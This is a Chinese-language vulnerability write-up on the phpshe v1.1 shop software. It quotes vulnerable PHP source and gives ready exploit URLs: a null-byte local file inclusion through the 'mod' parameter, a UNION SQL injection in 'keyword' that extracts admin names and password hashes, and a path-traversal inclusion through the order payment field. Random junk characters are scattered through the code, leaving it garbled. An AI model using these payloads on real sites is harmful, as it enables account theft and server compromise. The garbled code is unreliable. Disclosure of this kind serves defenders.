phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
. M4 f( l% O% q9 U/* By: : Kn1f3
/* E-Mail : 681796@qq.com
5 ?. S" O5 ^4 F0 ]8 }5 D  L7 ~+ \4 o% U/*******************************************************/
* f0 j5 S# V; H0×00 整体大概参数传输

' n3 {( R, ?# a; F% T6 t& ~2 o0 k
6 l* g7 G; `9 ?$ j) x
0 p# t! [5 c. V//common.php
  U5 N; D: f  ^/ a* n8 O- ]if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
6 Q/ x: i( J8 [}
else {
% C( t  J7 v) }- \, Y!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
9 o7 ^  B  E6 D+ i!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
, F2 d# E2 D0 x* B: \0 V. m5 X  t1 [}
+ _: z; ?) p' R+ xsession_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
2 @* F  l' I% C!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
0 ?6 G8 o. G7 X9 C
0×01 包含漏洞
0 }3 W9 |; d/ ^" w

//首页文件
0 o9 F3 ^0 _4 O. H7 F9 S<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
/ c; E; \+ f1 m1 G' [% k: u. iinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
. q9 J$ G  C% O7 L7 i0 Spe_result();
: E# O9 }. l1 v& c  x6 V?>
4 O+ k5 ~& {7 k( R//common 文件 第15行开始
8 w. z1 I; `6 x8 U! Purl路由配置
$module = $mod = $act = 'index';
1 `- i6 y5 Z- E. g8 |$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
  o9 K, u  x7 m6 V$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
# }3 _. G) V9 y' K1 r5 `9 r$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
1 V& o0 d. F7 j& O" e6 S//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
$ n+ e: L! O2 ?( {: x

1 f( v0 `) Q  j2 Q3 c" A7 |
0×02 搜索注入

<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
0 |' a* {" Z3 c+ L  l) a6 Y//搜索
$sqlwhere = " and `product_state` = 1";
' H& z5 r; k" b* i% Q/ K/ g- dpe_lead('hook/category.hook.php');
if ($category_id) {
1 B' {5 }( L/ o) e6 Awhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
/ L2 @- y' O  X( [}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
# l  j5 V0 {4 g2 h) L3 ?7 o6 @3 @4 Yif ($_g_orderby) {
# ~/ Z+ J- O5 e1 u7 f$ i/ p3 ], }$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
9 z* |3 f0 m$ j7 [- d* `$ q}
else {
- N3 z' x) X" y# x7 ]/ O0 T- G$sqlwhere .= " order by `product_id` desc";
, W7 l: U6 P+ `* F}
3 f/ [# u& b8 c4 K$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
" s* G5 h: n) D0 X4 B//热卖排行
1 t& `+ X8 O4 F3 C0 g$product_hotlist = product_hotlist();
% V* f; n* s  D//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
2 t, ^. r! E6 [7 j$ i* {include(pe_tpl('product_list.html'));
//跟进selectall函数库
  X* }# Z% m/ }public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
3 N0 b- B0 p# i: M4 T: _{
//处理条件语句
' X- L8 W: u, J- K4 `# S( ]$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
' w5 T5 p' S( F}
1 ~1 X" ?6 w6 u8 b! `" o5 p//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
/ [, x0 H8 m% z. P9 k

</code>

1 S& n: }: Y+ P/ X* s# ~0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

! ?! J- J0 E8 _( z8 |$ U$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

/ j* R* Y* F  uforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

* m6 m5 Y$ p. H0 S}

}

" z0 Y9 T" ?% r3 J: u: ~$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

. ?" j% a1 E4 y# {2 C# K) x2 Hif (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

. ?) E7 O. B6 i3 i* A$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

6 Z5 y) A3 ?: j/ wforeach ($info_list as $v) {

9 T$ Y4 ?+ h4 M* L+ B! b$order['order_name'] .= "{$v['product_name']};";
0 b" v% H9 F2 T: y! k5 o$ p! D

}

; T. r0 [( L/ s8 H' m( {echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

1 x$ d: Y7 u& O3 u1 k, Q7 k}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

) M3 W; V5 S# w, a4 \pe_error('支付错误...');

}

% s! {9 j, o, Z, l}

$seo = pe_seo('选择支付方式');

* P# Z# L' j" ^: F  Hinclude(pe_tpl('order_pay.html'));

) {: q8 k& B9 O/ Obreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg